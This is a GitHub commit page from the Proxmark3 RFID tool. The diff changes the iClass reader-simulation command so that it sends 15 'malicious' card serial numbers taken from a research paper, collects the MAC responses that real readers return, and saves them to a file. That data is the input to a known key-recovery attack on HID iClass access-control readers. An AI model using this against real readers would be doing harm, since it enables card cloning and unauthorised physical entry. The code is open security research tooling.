github/proxmark3
1
0
Fork 0
mirror of https://github.com/Proxmark/proxmark3.git synced 2025-08-14 10:36:58 -07:00
Code Issues Projects Releases Packages Wiki Activity Actions

Reverted to original malicious CSNs from paper, it appears legit readers does not accept if they dont end with F7,FF,12,E0

Browse source
This commit is contained in:
Martin Holst Swende 2014-12-14 21:37:56 +01:00
commit 6116c79618
3 changed files with 33 additions and 14 deletions
Download patch file Download diff file Expand all files Collapse all files

32
client/cmdhficlass.c
View file

@ -303,7 +303,7 @@ int CmdHFiClassSnoop(const char *Cmd)
SendCommand(&c);
return 0;
}
#define NUM_CSNS 15
int CmdHFiClassSim(const char *Cmd)
{
uint8_t simType = 0;
@ -340,10 +340,10 @@ int CmdHFiClassSim(const char *Cmd)
if(simType == 2)
{
UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,8}};
UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,NUM_CSNS}};
UsbCommand resp = {0};
uint8_t csns[64] = {
/*uint8_t csns[8 * NUM_CSNS] = {
0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0 ,
0x00,0x13,0x94,0x7e,0x76,0xff,0x12,0xe0 ,
0x2a,0x99,0xac,0x79,0xec,0xff,0x12,0xe0 ,
@ -352,8 +352,26 @@ int CmdHFiClassSim(const char *Cmd)
0x4b,0x5e,0x0b,0x72,0xef,0xff,0x12,0xe0 ,
0x00,0x73,0xd8,0x75,0x58,0xff,0x12,0xe0 ,
0x0c,0x90,0x32,0xf3,0x5d,0xff,0x12,0xe0 };
*/
uint8_t csns[8*NUM_CSNS] = {
0x00, 0x0B, 0x0F, 0xFF, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x04, 0x0E, 0x08, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x09, 0x0D, 0x05, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x0A, 0x0C, 0x06, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x0F, 0x0B, 0x03, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x08, 0x0A, 0x0C, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x0D, 0x09, 0x09, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x0E, 0x08, 0x0A, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x03, 0x07, 0x17, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x3C, 0x06, 0xE0, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x01, 0x05, 0x1D, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x02, 0x04, 0x1E, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x07, 0x03, 0x1B, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x00, 0x02, 0x24, 0xF7, 0xFF, 0x12, 0xE0,
0x00, 0x05, 0x01, 0x21, 0xF7, 0xFF, 0x12, 0xE0 };
memcpy(c.d.asBytes, csns, 64);
memcpy(c.d.asBytes, csns, 8*NUM_CSNS);
SendCommand(&c);
if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) {
@ -362,9 +380,9 @@ int CmdHFiClassSim(const char *Cmd)
}
uint8_t num_mac_responses = resp.arg[1];
PrintAndLog("Mac responses: %d MACs obtained (should be 8)", num_mac_responses);
PrintAndLog("Mac responses: %d MACs obtained (should be %d)", num_mac_responses,NUM_CSNS);
size_t datalen = 8*24;
size_t datalen = NUM_CSNS*24;
/*
* Now, time to dump to file. We'll use this format:
* <8-byte CSN><8-byte CC><4 byte NR><4 byte MAC>....
@ -378,7 +396,7 @@ int CmdHFiClassSim(const char *Cmd)
void* dump = malloc(datalen);
memset(dump,0,datalen);//<-- Need zeroes for the CC-field
uint8_t i = 0;
for(i = 0 ; i < 8 ; i++)
for(i = 0 ; i < NUM_CSNS ; i++)
{
memcpy(dump+i*24, csns+i*8,8); //CSN
//8 zero bytes here...